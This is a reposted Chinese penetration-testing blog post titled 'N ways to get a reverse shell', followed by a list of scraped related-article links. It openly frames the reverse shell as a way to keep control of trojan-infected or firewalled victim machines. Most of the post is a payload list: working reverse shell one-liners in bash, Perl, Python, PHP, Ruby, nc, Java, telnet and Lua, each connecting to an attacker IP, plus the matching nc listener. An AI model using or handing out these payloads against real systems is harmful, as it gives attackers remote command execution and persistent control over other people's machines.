渗透-N种反弹shell方法
简介
reverse shell反弹shell或者说反向shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
什么是反弹,为什么要反弹
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。
什么时候需要
l 某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。
l 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
l 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
有哪些姿势
bash:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl 1:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl 2 不依赖/bin/sh:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Perl 3 Windows:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Ruby Windows:
ruby -rsocket -e 'c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Ruby 不依赖 /bin/sh:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NC:
nc -e /bin/sh 10.0.0.1 1234
有些版本的NC可能不支持-e选项
不能使用-e时
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java:
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
Telnet:
NC不可用或者/dev/tcp不可用时
mknod backpipe p && telnet 123.123.123.123 8080 0<backpipe | /bin/bash 1>backpipe
Lua:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
如何连接:
先在本地机器上执行:
nc –l –p 端口
然后在远程机器上执行上述反弹shell的代码即可,对方系统上安装什么了就用什么,没安装咱就上传一个。
补充一下:
关于 linux中的一个特殊文件: /dev/tcp
有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
转载于:https://www.cnblogs.com/-qing-/p/10841677.html
渗透-N种反弹shell方法相关推荐
- 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试
文章目录 相关博客 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC Telnet反弹 正向shell 反向shell OpenSSL Curl 相关博客 Linux信息 ...
- linux下几种反弹Shell方法的总结与理解
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试
文章目录 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC mshta.exe利用 msf利用模块 方法一(msfconsole) 方法二(msfvenom) Cobal ...
- mysql 反弹shell_Linux下几种反弹Shell方法的总结与理解
*本文原创作者:LlawLiet,本文属FreeBuf原创奖励计划,未经许可禁止转载. 之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了 ...
- 内网渗透-常用反弹shell方法总结
常用反弹shell方法总结 文章目录 常用反弹shell方法总结 前言 bash反弹shell nc反弹shell 1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 ...
- cmd管道无法接收特定程序返回值_渗透不会反弹shell?来教你写一个cmd的shell
渗透不会反弹shell?来教你写一个cmd的shell 包含的库: #include #include #include #include #include #pragma comment(lib, ...
- 内网渗透之Windows反弹shell(一)
前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...
- 内网渗透之Linux反弹shell(一)
前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...
- linux nc反弹命令,详解NC反弹shell的几种方法
假如ubuntu.centos为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.centos的shell反弹到kali上 正向 ...
- php反弹教程,详解NC反弹shell的几种方法
假如ubuntu.CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.CentOS的shell反弹到kali上 正向 ...
最新文章
- Adam真的是最好的优化器吗?有人认为不过是神经网络进化的结果
- 全职院士32人!这些大学,正创造奇迹!
- 铁大Facebook——电梯演讲
- shell date
- C# 将\u1234类型的字符转化成汉字
- Android 4.X 系统加载 so 失败的原因分析
- 保驾护航金三银四,吐血整理
- springboot整合activiti报错[processes/]不存在解决方案
- 牛逼!Python的判断、循环和各种表达式(长文系列第2篇
- python三维圆曲面_python – matplotlib中的曲面和三维轮廓
- DIV+CSS如何让文字垂直居中
- 毕业答辩之毕业设计答辩问题有哪些?
- [水煮 ASP.NET Web API2 方法论](12-1)创建 OData
- Eclipse安装包下载慢解决方法
- 龙门上下料样本程序,四轴。用台达AS228T和台达触摸屏编写
- java加锁_JAVA最好的加锁方法是什么
- C语言基础(七)字符串 类型重定义 结构体
- 微信公众平台怎么发PDF文件?
- 分享一下前端浏览的一些网址记录
- 搜索引擎检索的一点经验